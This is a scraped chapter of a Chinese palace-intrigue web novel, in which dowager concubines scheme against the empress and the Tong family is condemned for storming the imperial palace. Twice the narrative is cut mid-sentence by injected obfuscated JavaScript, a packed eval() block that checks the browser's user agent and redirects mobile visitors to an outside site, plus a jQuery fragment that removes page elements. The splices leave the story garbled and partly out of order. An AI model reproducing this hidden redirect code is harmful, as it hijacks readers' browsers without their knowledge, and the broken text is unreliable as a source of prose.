伊人殿秀女采选的初选结束,通过初选的150位秀女将在四月十八进行第一轮复选。原本秀女们谁留谁不留都不会太引起关注,但有一位还真是有些打眼了,佟妙兮。 佟家名声败尽,佟妙兮被刷下去应该是无疑的,谁想霍贵妃竟然能让她通过初选? “昨夜,佟家给建威侯府送礼了?” 庄太妃今早就收到消息了,不过是再问遍,得到回禀,庄太妃含笑道:“皇后和建威侯府今日如此受辱,再憋着岂不太过委屈了吗?霍贵妃若是病倒了,最后的殿选,自然是皇后全权做主,选批合心意的秀女进宫来也算是给郭皇后慰藉了。” 阚嬷嬷注意到晋王面有不虞,给娘娘使眼色,晋王今日跟母妃闹得实在有点不愉快。 晋王在隅中时进宫来,母子俩一见面,晋王就问庄太妃有没有往魏王府的陷阱里跳? “皇儿的话,母妃怎么不懂,魏王府有什么陷阱吗,母妃怎么不知道?”或许是庄太妃不想事情出来后晋王跟她闹脾气而装傻充愣,但这明显把晋王当小孩看的态度也让晋王的恼火烧起来了:“魏王府有什么陷阱吗,母妃有必要跟亲儿这样耍心眼吗?” “皇儿,母妃是你亲娘,怎么会跟你耍心眼,母妃是真没懂你的意思。”庄太妃不想再节外生枝只能含糊到底,晋王闻言负气跟生母破罐破摔道:“母妃您聪慧过人,老四和老五也不是个傻的,老五把大皇子送到老四府上摆明就是个想让我们往里跳的陷阱。 母妃您今日不愿意跟我坦白,过些天出事了殃及庄家,您也别指望我会去保庄家。” “原来是这样的陷阱,皇儿多虑了,母妃有分寸的,但,在暗中虎视眈眈想做文章的人家必定也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“他能信吗?我都不信啊。”晋王无语,庄太妃眼底锋芒闪烁:“由不得他不信。” “我再想想吧。”晋王斟酌道,庄太妃也不着急,顺口说把佟蓁蓁送给湘王,这原本都是母子俩心照不宣的事,她完全是出于缓和氛围想让皇儿高兴下才多嘴提了,谁想,晋王竟然反对:“母妃,有的是人能用,你何必去用两头畜生?” 庄太妃愣了愣,没反应过来地教导:“皇儿,只要是有用的,是人还是畜生又有何不同,甚至于是畜生更好啊,”迎上儿子绷着的脸,她皱眉:“皇儿你怎么了?” 晋王语气不满:“母妃就非得这么不择手段吗?” 庄太妃看着儿子真有点新鲜了,出什么事了竟然能让她这儿子放掉这么好的机会不用?要不说知子莫若母呢,庄太妃第一个念头就是莫非晋王顾念着霍贵妃于心不忍? “好,既然皇儿不想用畜生来做事,就依皇儿,但鞠太妃和小朱太妃上回的计谋没成,她们积着恨要用霍桑柔来对贵妃回礼。母妃想,侯瞻渥既然心急要出京畿,待他养好伤,不如皇儿你和他谈谈,晋王府帮他离开京畿,他也帮晋王府个忙,怎样?” “要不然再帮侯瞻渥一把,让他把人救出来?”晋王对这事更烦:“侯瞻渥要这媳妇,她就是圣人的外甥媳妇,人又没犯罪,这么关在死牢里算怎么回事儿。” “皇儿考虑的有道理,但这事,晋王府不能做,要让昌隆侯府来做。”庄太妃全然副置身事外只计较利益得失的态度,晋王看着生母,一直没消失的怀疑在喉咙里转好几圈没出口反而搅得他心里闷堵闷堵的:“母妃,又快到二哥和三姐的死忌了。 您有没有后悔过,倘若当年您不肖想储君位,您也不会四个儿女就只剩我一个了。” 庄太妃震惊到惊悚地转向她的亲生儿子,衰败的脸满是受伤:“皇儿,你言下之意,是我这做亲娘的害死自己的亲儿女吗,你怎么忍心往自己亲娘心里捅刀子啊?” “大哥是个好人!”或许是不想受生母的谴责,或许是良知未泯而很挣扎,晋王勃然站起愤愤呐喊还有丝哭腔:“大哥对弟弟们多好啊,我们童年多快乐啊,当年晏贵妃和原贤妃还有姬妃都能安生过日子,你为什么就不能安稳做个淑妃?” “是母妃不想安生吗?”庄太妃痛心疾首眼中已有泪光,然她话未尽,晋王就打断道:“是!你不用跟我说谁谁谁害得你不能不争,晏贵妃的处境比你难得多,原贤妃的处境也不比你容易,老六都失踪多少年了到现在还死活不明,可她们到死都没有你的野心。” 庄太妃这下真有点后悔了,后悔在晋王童年时对他疏于管教任由他玩乐,以致于这儿子现在居然能连自己到底什么立场都能摇摆。压压心里的火,面上,庄太妃眼猩红眼泪直流,一脸心如刀绞的痛:“好,好,是我害死我的亲生儿女,皇儿满意了吗?” 语毕,庄太妃掩面疾走,晋王咬紧牙攥紧拳,颓唐地跌坐回罗汉床里,是在殿外的宫人们闯进殿里来哄着晋王去给太妃赔罪,说尽好话才总算劝动晋王去向生母服软。 因此午膳时辰将至,晋王还是留着陪生母用午膳,意在消除母子俩上午的不愉快。 “皇儿认为有何不妥吗?”庄太妃转向晋王,果然这儿子的脸色又不大好。 “霍贵妃病倒了还有霍太后在,采选就没皇后做主的份儿,母妃根本多此一举。” “怎会是多此一举,若是皇后和佟家害霍贵妃病倒了,霍家与他们不得再起冲突吗?”庄太妃微笑道:“皇儿若是不喜母妃来做,就让皇帝的嫔妃们去劝皇后,如何?” 晋王仍然不情愿:“母妃这样时刻算计着就不累么,您一天想算计多少事啊,给他们和霍家之间添再多火又能怎样,他们早撕破脸了,给他们拱火不是白费劲吗?” 庄太妃忍住笑意不崩,赞同了,安稳用过午膳,问问她的小孙儿近来长高长胖没有,又多识几个字了?母子间和睦了,晋王离去,她送到殿前,目送孩儿消失在眼帘,她再传令,今夜就把计策送给皇帝的嫔妃们:好生劝皇后让霍贵妃重病场。 殿前桔树生机昂扬,虽然离桔树结果还远,但可想见到时黄澄澄的甘桔会有多诱人。 晏霁之和霍海啸偕同出皇宫后找家酒楼用午膳,还在用膳时,各自的长随前后脚来报:佟老太太带佟梦奭夫妇清早来王府闹事,请佟尚书三遍了,佟尚书还没来接人;佟蓁蓁母女辰时中来府前闹事,派人去请过佟尚书三回了,佟尚书一直不肯理会。 膳毕,晏霁之和霍海啸步行前往霍家,行至霍家大宅数丈外,意外竟没有围观的人。 “连好事者都懒得看佟家人的笑话了。”霍海啸不远不近地看着自家府门紧闭,佟蓁蓁母女带着俩奴婢又吼又叫又踢又撞闹腾不休,他站定观看会儿,突然看见佟振羽冒出来,闷着头冲到霍家大门前,用身体重重撞门,整个人活像头蛮牛。 霍府大门终于从里打开,佟振羽握紧拳头,一声不吭,绕过霍雄鹰就往府里走。 佟梦姿和佟蓁蓁连忙率俩奴婢紧跟上,霍雄鹰受不了地翻翻白眼,瞥见几个看热闹的,他抻抻长腿从府门正中位置迈出门槛,走过台阶,走到他们面前,吐槽道:“真是比娉姨娘和霍鸳娇姐弟都不如了,特别是那个佟振羽,瞧那样儿,分明想硬赖在霍家。” 晏霁之和霍海啸都没搭话,但这一点不影响霍雄鹰发泄:“昨天大嫂收拾他们的屋子,今早让当铺来收,你们知道当得多少吗?四十万两啊,光佟蓁蓁母女那些珠宝首饰就当得了十多万两,我霍家二十多年养这娘仨花费了多少银两啊,结果咧?!” 霍雄鹰愤愤地飚脏话:“妈的!想做佟家人就去做吧,看他们能落个什么好下场!” 随着他话音落地,护卫们丢五只麻袋出府,又推来辆板车放在府门前,把麻袋全部装车送京兆府大牢,再派人去通知佟尚书,要接他佟家的家眷去京兆府大牢接。 晏霁之算算英王府前的闹事应该也处理好了,和霍家兄弟告辞,回晏家去。 霍海啸进家门去找老太爷,默出今早见过的密报给祖父,再把相关情况说了。 “鞠太妃怀过三胎,前两胎是被朱家害得?”霍擎老太爷沉默好半响才缓缓出声。 “孙儿没注意,是晏霁之提醒我,我才醒悟,但我总觉得他意有所指。”霍海啸怀疑道:“这么点细末,他家更没牵涉,我都没多想,他怎么会特意关注?” “太上皇能信吗?”霍擎略过长孙的碎末问题,又看遍眼前的密报,眉头一点点紧锁:“倘若他不信,非但不信,还怀疑这是皇帝故意伪造的呢?” 霍海啸讶异他祖父竟也有此担忧:“圣人对陛下会连这点信任都没有吗?” “孙子啊你傻不傻呀!”霍擎被这事搞得骤然疲累,背靠太师椅里,头疼道:“皇帝拿这样的密报和太上皇谈,祖父看八成得谈崩,太上皇不会信的,先看他们谈的结果吧。” 而眼下,最不信的要数佟尚书。 小厮禀告,霍家和晏家都来人说,把闹事的佟家人捆了装麻袋里送到京兆府大牢里了,佟尚书直觉甚至是本能地不信,霍漓江和晏墉怎么敢?!特别是晏家,丈母娘登女婿家门要见女儿合情合理合法,晏墉怎么敢送牢里,凭什么送牢里,京兆府又怎么敢接?! 想骗他去接人,这点伎俩也不嫌太嫩了点!佟尚书佟图匡嗤笑,打定主意就是不信。 黄昏舒扬,天边云霞层层浸染,目之所及是祥和,佟图匡步入庭院中,望着黄昏晚霞,预示着今日将收尾不会再起波澜的黄昏,他莫名有感安慰平静。 管家步履匆匆赶到老太爷跟前,还未禀告,佟图匡就不喜,不自觉冒起烦躁。 “老太爷您快去皇城吧,出大事了,老夫人带着大老爷他们擅闯禁宫——” “放肆!这种话是能随口说的。”佟图匡愠怒训斥,管家跪下来都想哭了:“老太爷,老夫人他们真的被晏家和霍家送去牢里了,京兆府关一个时辰后把他们放了,但是,但是人没回来,去了皇城要告御状,可告御状也就罢了,老夫人,老夫人她……” 管家忍无可忍道:“老夫人她真是疯癫的,她要告御状,她对禁军说要告御状,说完,她就要去见陛下,禁军阻拦,她竟然让表少爷跟禁军动手,表少爷竟然真的去跟禁军动手,老夫人她就带着大老爷他们大摇大摆往皇城里走,真的是闯宫啊!” 佟图匡瞳孔猛缩老脸惊怖地跌退步,下个瞬间又镇定下来,他不信,假的,管家定然已经被霍家和晏家收买了想蒙骗他,这样想后他果然冷静许多,冷嗤声,要处置这个叛徒时,佟卓伦兄妹慌乱跑来,他们身后跟着的是宫里的人?!佟图匡霎时心漏掉拍。 “佟尚书,你佟家的家眷擅闯禁宫,陛下传你前往皇城接旨意。” 立时间,佟图匡肝胆俱裂。 擅闯禁宫视同谋反! 109. 第109章 擅闯禁宫视同谋反! 事情出来,阖宫对佟家人闯宫的议论立时盖过皇宫中新冒出的对令愔夫人的谈论。 令愔夫人闹着陛下给皇后的娘家妹妹赐高位嫔妃位在宫里是尽人皆知了,今儿午后,她又去到皇极宫跪在御前,跪足足一个时辰之久,大家自然都以为她仍是为帮郭皇后,直到,陛下派遣大总管赶往椒房殿请皇后,蒋厚运抵达椒房殿竟是对郭皇后说—— “皇后娘娘,令愔夫人求陛下恩准她从今往后与您不再会见,陛下问夫人何事竟闹得如此不可开交,令愔夫人不肯禀告,只求陛下允准。日头晒,令愔夫人在太阳底下跪了许久,陛下到底于心不忍,只得委屈皇后娘娘您,这个月,皇后就免众嫔妃请安吧。 陛下特意交代老奴请娘娘切莫胡思乱想,令愔夫人蕙质兰心向来知礼仪,定是和皇后娘娘您有所误会才会有此胡闹,下个月,两位娘娘误会解开就好了。” 哪还等得及下个月,郭皇后领着大批宫人怒火冲冲赶去皇极宫,在皇极宫宫墙外相遇,怒形于色地教训她:“你在做什么,本宫叫你来求淑妃位,你在做些什么啊?!” 令愔夫人跪一个多时辰,膝盖疼,皇帝有气,不给她派轿辇,得让婢女们搀扶着走,然而面对郭皇后,令愔夫人让婢女们退下,她自己端正站着,昂首平视道:“陛下已经允准,臣妾与皇后从今往后不再会见,请皇后自重。” 语毕,她挺直背脊忍着疼痛保持与平时无异的步子带她的宫人们继续往前走。 “你站住!本宫命令你站住!”郭皇后近乎是用吼的,令愔夫人置若罔闻,郭皇后难以置信她敢这样放肆,怒不可遏地快步追上去,疾步追上她并挡在她面前,面容铁青地教训:“你在作个什么劲儿啊,本宫告诉你,你若是再放肆,休怪本宫不心疼你!” 令愔夫人眉目冷淡:“皇后娘娘的疼爱,臣妾消受不起。” 郭皇后被气得瞪圆了眼睛,她二位各自的宫人反倒都有些不知该劝还是该给娘娘助阵,在皇极宫宫门前观察的蒋厚运直嫌闹心,躲暗中的宫人们看得津津有味,在此前,令愔夫人可是要给郭皇后鞠躬尽瘁的架势啊,出什么事了竟然闹到翻脸了? “本宫看你是仗着陛下宠爱恃宠生娇全然没个体统了,本宫再不管教你还得了吗?!”郭皇后扬起手要发飙时被霍灵渠及时拦住:“表姐息怒,夫人,你退下吧。” “臣妾告退。”令愔夫人屈膝施个礼后离去,郭皇后咬牙忍着没反对,打发掉霍贵妃,她再去钟萃宫管教她也不迟。人走远些了,霍灵渠劝道:“表姐,何必跟她一般见识,你若追去钟萃宫闹得太难看,陛下想装聋作哑都不行,算了吧,你回椒房殿吧。” “算了?”郭皇后被惊得差点不可思议,不管四五六地就不满反驳:“你没看见她对我什么态度吗,这是能算了的吗?她要是对你这样嚣张,你能算了吗?” 对霍贵妃这般发牢骚,郭皇后没觉得不妥,有些旁观的宫人额头冒黑线,皇后你别搞得敌我都不明了呀,你和霍贵妃是敌对的,你这样好像贵妃亲近你似的真不合适啊。 “可晌午时你骂她了呀,你嫌她办事不力嫌她没用在心里嫌就好了嘛,何必骂出来,人家是宠妃,心气高,哪能受得住被你骂,看看,你骂了她,后果立竿见影吧。” “我骂她又怎样?!”郭皇后更没觉得有何不妥,她确实骂过令愔夫人呀,愈发愤恨道:“我堂堂皇后还骂不得她一个小妃子吗,我看她就是欠管教,我这么多年对她都是好言好语客客气气的,就今日骂了她,她居然就敢对我甩脸,再不管教还能得了吗?” “可人家得宠呀。”霍灵渠懒懒提醒:“她对中宫如此无礼,陛下都顾及她的脸面,让你改成这月免众嫔妃请安,你跟她硬碰硬还能讨得了好吗?回椒房殿吧。” 郭皇后被噎得又憋屈又恼恨,突然急中生智:“这不还有你呢,你跟我一起去钟萃宫,我就不信,我们堂堂皇后贵妃还能教训不了她一个小妃子?!” 霍灵渠&众宫人:“……” 难怪皇帝不肯自己出面,非得让她来劝郭皇后,估计郭皇后逮着皇帝也是能说我们一起去教训她,霍灵渠默下,和颜悦色哄:“可表姐你想过没有,你图一时痛快去跟她撕破脸,将来,她还能让你的儿女好过吗?我不是不肯帮表姐,我也有苦衷呀。 翁美人就快要给我生皇儿了,倘若我不能陪伴皇儿长大,我也只能想多给皇儿积善缘,人家有恃无恐呢。表姐,咱们就当是为皇儿们,能忍的,且就忍一忍吧。” 郭皇后闻言不甘难受地些落泪,白皙的脸随之浮现委屈,霍灵渠拿手绢给皇后擦擦脸,面上演到底,心里没可奈何这位皇后的迷糊,居中宫尊位都四年多了,还像个小媳妇似的在人前毫不遮掩地显示出你的怯弱不是主动让阖宫上下看低你吗? “好了好了,我们不和她一般见识,就当是阵风,随她去吧。”霍灵渠安抚过,侧过头,板脸传唤赖嬷嬷吩咐:“赖嬷嬷,还不快过来扶着皇后回椒房殿。” “呃,是,是,贵妃。”赖嬷嬷赶忙上前,心里真觉蹊跷,霍贵妃盘算着什么阴谋呢,令愔夫人没个征兆就跟椒房殿翻脸了不可能没有霍贵妃的算计吧? 似赖嬷嬷般作想的看客不在少数,令愔夫人和郭皇后翻脸的消息犹如飓风扫荡,皇宫中沸反盈天,有猜是霍贵妃从中作梗,也有猜是令愔夫人自己的缘故,猜后者,譬如庄太妃:“居然拎不清到自毁前程,令愔夫人这宠妃路算是到头了。” 鞠太妃过来跟她商量趁热打铁再给皇后推一把,碰上她也在和奴婢谈论此事,诧异道:“自毁前程?这不摆明就是霍家在作祟吗,怎么会变成令愔夫人自毁前程?” “跟霍家没关系,是令愔夫人自己在给自己作孽。”庄太妃眼眸回转间一丝鄙夷流泻:“她仅是被皇后骂了就要求皇帝恩准她与郭皇后不再会见,还像话吗? 宫里能是容不得她受委屈的地方吗?谁在皇宫里能不受委屈,霍家都好歹还有幌子遮掩——郭皇后自请辞位,她比霍家还了不起啊,这种妃子,皇帝还会再宠她吗?” “呃,对啊,哪有这种嫔妃。”鞠太妃被说服道:“这是令愔夫人自己在作死。” 消息传进芷筠斋,霍秀仪霍鹣娇很专注地只痛骂令愔夫人,她可没忘,她不想去椒房殿请安时就是令愔夫人害她又受罚又受罪,结果令愔夫人居然自己搞这么一出?! 霍鹣娇骂得滔滔不绝,就没有要停歇的意思,直至佟家擅闯禁宫的消息传来。 “闯宫?闯宫可是死罪,他们做什么要闯宫?”没待宫婢禀报,霍鹣娇又连连问:“嗳等等等等,霍蓁蓁,啊不不不,佟蓁蓁,佟蓁蓁,佟蓁蓁和佟振羽在不在啊?” “禀秀仪,佟蓁蓁和佟振羽在的,他们兄妹和他们的母亲都在。” “哈哈哈……该!”霍鹣娇乐了,把骂令愔夫人抛开,转而看这娘仨的笑话。 翁美人也很快收到消息,特别不明白:“佟家人到底什么脑子呀?” 莫说是她了,见惯各色各样人的庄太妃得讯时都一脸懵:“闯宫?擅闯禁宫视同谋反,佟家是疯了还是活得不耐烦了来闯皇城,这怎么可能?” “真的!”鞠太妃肯定道:“消息确凿,佟家就是擅闯禁宫了。” “哎,是不是禁卫里有霍家和晏家的人故意冤枉他们啊?”小朱太妃怀疑。 “那么多双眼睛看着,怎么可能能作假冤枉他们,禁军又不傻的。”鞠太妃传播道:“是佟振羽和禁军动手,佟家人走过承天门,闯宫成铁板钉钉了,禁军才把他们拿下的。” 阮太妃不解:“不是说佟家是来告御状么,告御状怎么会变成闯宫?” “他们对禁军说他们要告御状,话说过了他们就要进皇城见皇帝,这不就成闯宫了。”鞠太妃吐槽道:“告御状连张状纸都没的,禁军让他们拿状纸来才能给他们呈上去,佟家人都不肯,就说要告御状,话说了就要进宫见皇帝,禁军阻拦,他们就硬闯了。” “可擅闯禁宫视同谋反啊。”庄太妃犹疑:“佟家能连这点常识都不知吗?” “你知道他们叫嚣什么吗?”鞠太妃无语凝噎:“我们家妙兮可是要做娘娘的,你们这群侍卫再敢不识好歹,我就让陛下把你们全砍了,什么闯宫,我们是告御状,是情势所迫才等不及等陛下召见,陛下念在我们妙兮的份上必会体恤不会怪罪我们。” 围观太妃们&众宫人:“…………” 小朱太妃受不了地翻白眼,田太妃吁出口浊气总结:“佟家人真不正常吧。” “这还用你说嘛。”鞠太妃嫌道:“正常人谁能把告御状告到闯宫。” 庄太妃忍住不要被惹出气来,她被郭皇后蠢得就已经够够的了,没想到佟家居然能蠢得比郭皇后还突破下限,真是活该要找死。 皇宫内因佟家人闯宫而甚嚣尘上,威压逼人来的皇城前亦已聚满看客,多数人家都不疑佟家离溃败不远了,但还真没人想到居然只堪堪经过一天,佟家就能把自家败掉,不过以佟家做梦做得都疯癫了看,他们会擅闯禁宫,意料之外、情理之中。 擅闯禁宫的六名人犯被吊挂在皇城城楼前示警兼等候陛下发落,在佟老太太他们要硬闯时逃离的四个佟家奴婢看得心有余悸,今早,老夫人是带着大批奴婢去晏家的,二姑奶奶也是带着大群奴婢去霍家的,是晏家和霍家都闭门不理,奴婢们心思浮动了。 任他们在府外怎样闹都没用,便有奴婢提议回佟家搬救兵,溜走两个,有了这前例在,找借口离开的奴婢越来越多,挨到晏家和霍家应对时,老夫人那儿还有四个奴婢陪着,二姑奶奶母女俩身边还有两个奴婢留着,六个奴婢全被顺带着送进牢里了。 从京兆大牢出来,又有两个打着回佟家报信的名义溜掉了,就她们四个奴婢陪着来的,可在老夫人要硬闯皇城时她们是真不敢再陪着了。这会儿更是庆幸,她们只是奴婢,如果真陪着闯皇宫了,老夫人他们或许还能没事,她们几个奴婢还能有命活吗?! 湘王在人群中凝望着被吊挂在空中的表妹,想走近些好看清楚又踟躇,心里怪难受的,蓁蓁在霍家时养得多娇惯多金贵啊,离开霍家才一日,竟然就这样遭罪。 霍雄鹰被身边人恭喜也都没什么高兴:“我对佟家真是要醉了,你们知道吧,这伙人闯进承天门被禁军拦住时还在叫嚣着:我们妙兮可是要做娘娘的,再不识好歹,我就让陛下把你们全砍了,还有什么,陛下念在妙兮的份上绝不会跟我们计较……” “知道知道,大家都知道的,这事传出来,真是让人嘲笑都懒得嘲笑了。”薛述嘉很有感悟地点评:“那些禁军看这群佟家人肯定不是当疯子就是当傻子看。” “不疯能闯宫还能走承天门吗,他们走的可是承天门的御道!”晏和之着重提醒:“单是走承天门的御道就是死罪了,是擅闯禁宫把这项罪包括进去了才没拎出来单算。” 一个不和谐的怯弱男音冒出来:“那,那皇兄会判他们坐牢吗?” 众位贵公子循声而望,瞥见湘王担忧的犹豫样,薛述嘉鄙视:“你到底懂不懂擅闯禁宫视同谋反啊,你就直接把死罪忽略了吗,你不会真在担心佟蓁蓁吧?” “胡说!”湘王忙不迭驳斥,气短地逞强辩解:“我是心地好,不忍看他们死。” “我怎么没见你对其他人心地好,怎么轮到佟蓁蓁,你就一而再心地好了呢?” “薛述嘉!”湘王怒了,薛述嘉洋洋得意告诫:“我是你表哥!” “才比我大几天,你跟我摆什么表哥的谱,我告诉你,现在立刻给我道歉,若不然,别以为我不知道你对霍桑柔的心思——”湘王正威胁着呢冷不防被偷袭,薛述嘉踹他道:“你要点脸吧你,你对佟蓁蓁那点心思都写在脸上了,有本事你纳她进门啊你!” “你敢踹我?!”湘王必须不能忍绝对要回击,相差没几天的表兄弟混战在一起,周围人看向霍雄鹰,霍雄鹰都嫌糟心地去把薛述聪找来再拉架,薛述聪更嫌糟心,把这倒霉弟弟拽着走时还训他:“你闲得还是有劲没处使啊非得打上一架才舒坦……” 当然,霍雄鹰是不会训湘王的,但霍雄鹰也不想理会这个明显向着佟蓁蓁的湘王表弟,可他不想理会湘王,湘王是要拽着他的:“三表哥,我们一起去向皇兄求个情吧。 蓁蓁是被佟家蒙骗连累的,她回到霍家就不会再犯错了,我们求皇兄让蓁蓁回霍家吧。我今早悄悄看她想回自家都回不得真怪可怜的,而且贵妃真的太狠了,我下午听说她下令让霍家把蓁蓁送去牢里时我都不敢相信,蓁蓁自幼娇生惯养哪受得住牢狱之苦。 还有闯宫这事,把他们关在皇城里等候发落不行吗,被这样吊挂着让蓁蓁还怎么嫁人,肯定又是贵妃在蛊惑皇兄,她非得逼得蓁蓁没地儿活才肯罢休吗,真的不能——” “湘王!”霍雄鹰强烈打断:“佟蓁蓁娇生惯养,我三姐就活该遭十多年的苦难吗,谁给佟蓁蓁娇生惯养啊,是霍家给她的,是我三姐走到家门前都没进家门才给他们的! 何况霍家给他们娇生惯养荣华富贵,霍家又得到了什么,你昨天没活过是吧?谁狠啊,那俩玩意儿一门心思盯着要争夺继后位想害死亲姐姐时你怎么就像个没事人? 擅闯禁宫又是什么罪,是视同谋反的死罪! 佟家人自己找死,你都能把屎尿盆子往贵妃头上扣,你又安得什么心啊? 你喜欢佟蓁蓁不用藏着掖着,你想纳她、你想为她跟霍家断亲都行,但你不用把你那些心思拿到霍家人面前来说,姓霍的消受不起,我霍雄鹰嫌恶心。” 霍雄鹰暴怒而走,怒火波及范围大得把没走远还在训弟弟的薛述聪都给打断了。 一片尴尬中,附近的贵胄少爷们小幅度远离,湘王小白脸烧得滚烫,好像大家都在对他指指点点,难堪得要逃跑时突然冒出道对他几乎是解救他于水火中的天籁之音:“我要去求陛下饶恕佟家的死罪,顾念我生母,我也是于心不忍,王爷要一起吗?” 湘王转过身看到晏霁之,简直像看到救星:“好,好,我们同去求皇兄开恩。” 晏霁之满含善意微笑:“王爷心地好,您对佟蓁蓁更没有男女之情,您是把她当妹妹,当亲妹妹看待,您放心,我会向霍雄鹰解释清楚,绝不让他平白污蔑王爷。” “对,对对对,我是把蓁蓁当妹妹,我疼爱蓁蓁就像疼爱亲妹妹一样,没有男女之情,他们全都误会我了。”湘王简直像找到知音了,边上圈人看他们一搭一唱地可真无语。 “臣懂得,臣更要恭喜王爷,佟蓁蓁能取代您亲妹妹的位置。”晏霁之牲畜无害地诛心:“圣人和太后的八公主、湘王您的同母亲妹泉下有知,知道哥哥已经找到人取代她,不会再为她的死痛苦难过,八公主在天有灵定然甚感安慰不会再死不瞑目了。” 湘王如遭电击呆立当场,贵胄少爷们看晏霁之想原来你是我方战友啊,藏得够深的。 “我,我,我……我想我还是……”湘王心乱如麻,晏霁之上前握住他的手臂,湘王受惊吓般看向他,晏霁之不再多言,握着湘王的手臂拽着他进宫,湘王如梦初醒般连忙拒绝:“我我我我还是不找皇兄了,你自己去吧,我不找皇兄了,我要回王府了。” “怕八公主夜里来找你吗?”晏霁之边走边问,湘王瞬间犹如沾着脏东西般要挣脱他:“你胡言乱语些什么,不准信口雌黄,要不然本王让你好看,你给我松手。” “看来湘王的确早已把亲妹妹抛诸脑后,到家门口都不想给亲妹妹上柱香。” 晏霁之止步,湘王同时停止挣扎浑似像被一箭穿心,心脏钝钝抽痛,他抬手擦把眼睛,低头苦涩道:“我记得我妹妹,我知道我还有个在我出生前就已夭折的姐姐,我姐姐没齿序就没了,我妹妹活了四岁被害死,你是不是觉得我就是个没心没肺的?” “我只是觉得,八公主若心善,她在天有灵必定不愿意哥哥沉浸在痛苦中,但你至少该找个良善之人填补你心中丧失亲妹妹的痛,你觉得佟蓁蓁可有玷污八公主?” 夕阳下,人影瘦,记忆在岁月的缝隙里反复锤炼,烙印在心间永不褪色的怀念。 皇帝在长春宫,刚来到偏殿见到霍贵妃,宫人就禀告,晏霁之求见,皇帝嬴忱璧很大度地宣外臣进来,问卿家有何事?晏霁之禀奏曰:“臣来求陛下饶恕佟家的死罪。” “此事和晏卿无关,你不必再过问。”嬴忱璧吩咐,晏霁之从善如流:“好。” 嬴忱璧转个态度恭维他:“你敷衍得当真草率,你此来可真是司马昭之心。” 晏霁之规规矩矩颔首低眉保持眼神不乱瞟,嬴忱璧没好气道:“朕刚和贵妃谈论,佟家怎么就敢闯宫?官宦人家,何况佟梦奭为官二十载,会连这点常识都没有吗?” “还是在负隅顽抗吧。”晏霁之思量道:“就像昨日,佟振羽刚见到兴献侯时的对抗。这两天对佟老太太和佟梦奭的刺激太大,大到足以摧毁他们幻想近两年的美梦,他们受不了,想保住美梦不坍塌在情理中,而郭皇后将辞位对他们的震撼又太深刻了。 深刻到他们跳不出这个震撼,以致于,佟妙兮还是个姑娘家,佟家老少就都已经想当然认定她将来要做娘娘,佟振羽给他妹妹争继后位时也是只顾他自己的意愿。” 嬴忱璧懂了:“就是根本没把皇帝看在眼里是吧。” 晏霁之沉默,嬴忱璧笑:“怪不得佟老太太能脱口而出,我让皇帝把你们全砍了。” “他们会疯掉吗?”霍灵渠坐在玫瑰椅中,就她一人坐着,皇帝和晏霁之都没坐,她怔怔望着庭前花圃在夕阳柔晕中收敛艳丽而变得朦胧温暖,她凝望着仿佛丢了魂。 晏霁之看向皇帝,嬴忱璧没有要接话的意思,相当于默许了,晏霁之再答:“不会,但他们会死死扒着晏家和霍家,除非他们死或者被监禁到死,否则不会消停。” “佟振羽和佟蓁蓁兄妹两个能活到几岁?”霍灵渠神情未必多伤怀悲悯,但是真消沉。嬴忱璧劝道:“当断不断,反受其乱,贵妃既已做出决断就不该再犹豫。” “陛下对死亡很漠视,就像你会认为我大伯让娉姨娘死都强过把娉姨娘送给愗郡公。”霍灵渠垂下眼睑,眼神若无焦距,但至少恢复丝精气神了:“我和你相反,我是已做决断,我是不想让振羽和蓁蓁再做霍家人,但我从没想过他们会死。” “是佟家人自己走出的路,自作孽,自寻死路,与人无尤。”皇帝嬴忱璧如是道。 霍灵渠沉默几息,慢慢抬眸看向皇帝,注视皇帝半响,领悟出个迟来的残酷:“半年前,我曾问霁之,霍家强抢后位是否在自寻死路?霁之言,郭皇后是霍太后给陛下挑的媳妇,是郭皇后在位还是换成霍蓁蓁对皇帝能有多少区别,霍家若要后位,皇帝肯定会给。 霁之还曾言,佟尚书居然会认为佟梦姿母女闹着要抢后位羞辱皇帝不会牵连佟家,皇帝何必只因霍家要争个后位就动霍家,当然是拿佟家来填。实则,蓁蓁根本从来没沾到过凤座的边儿,你有没有找到霍灵渠都不影响。” 霍灵渠从玫瑰椅中站起来,定定注视皇帝,言之凿凿道:“你只想借霍家强抢后位来给郭皇后安排条给她后半生安稳富贵的退路,一旦郭氏辞位,你目的达成,就是佟梦姿娘仨和整个佟家的死期,你只会许诺霍家,继后位给霍海啸的嫡长女霍未央。” 晏霁之愣了愣,他竟然从没想过这茬,忍不住叹息,这才是皇帝啊。 “朕是皇帝!”嬴忱璧对着贵妃若有欣慰,云淡风轻的语调尽显理所当然的意味。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459301|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“振羽和蓁蓁能活到几岁?”霍灵渠定要个答案,嬴忱璧道:“中秋前吧。” “呵…”霍灵渠抬手擦擦眼,苦笑问:“你一定要拿他们的命来维护皇帝的颜面吗?” “贵妃愿意今夜就侍寝吗?”正徽帝嬴忱璧反问,晏霁之眼神凝滞一瞬,霍灵渠笑了,笑得满是讽刺,嬴忱璧迈长腿走上前两步,安抚道:“贵妃,不是颜面,是君王的尊严,帝王尊威不容有秋毫之犯,他们一而再地找死,朕如何宽恕他们? 擅闯禁宫视同谋反啊,佟家人不懂吗?可佟振羽照样敢和禁军动手,佟家人照样敢走承天门的御道闯皇城。强抢后位等同于羞辱皇帝,佟家不懂吗?可佟家乐见其成。一再视皇帝如无物,非要自寻死路,朕若还不杀之将如何面对天下统御臣民?” “那么,陛下何以不赐死令愔夫人?”霍灵渠深深看眼皇帝,报复般讥讽:“世人皆知是我霍家在私底下逼迫又如何,摆在明面上的,是郭皇后潜心向佛要自请辞位。 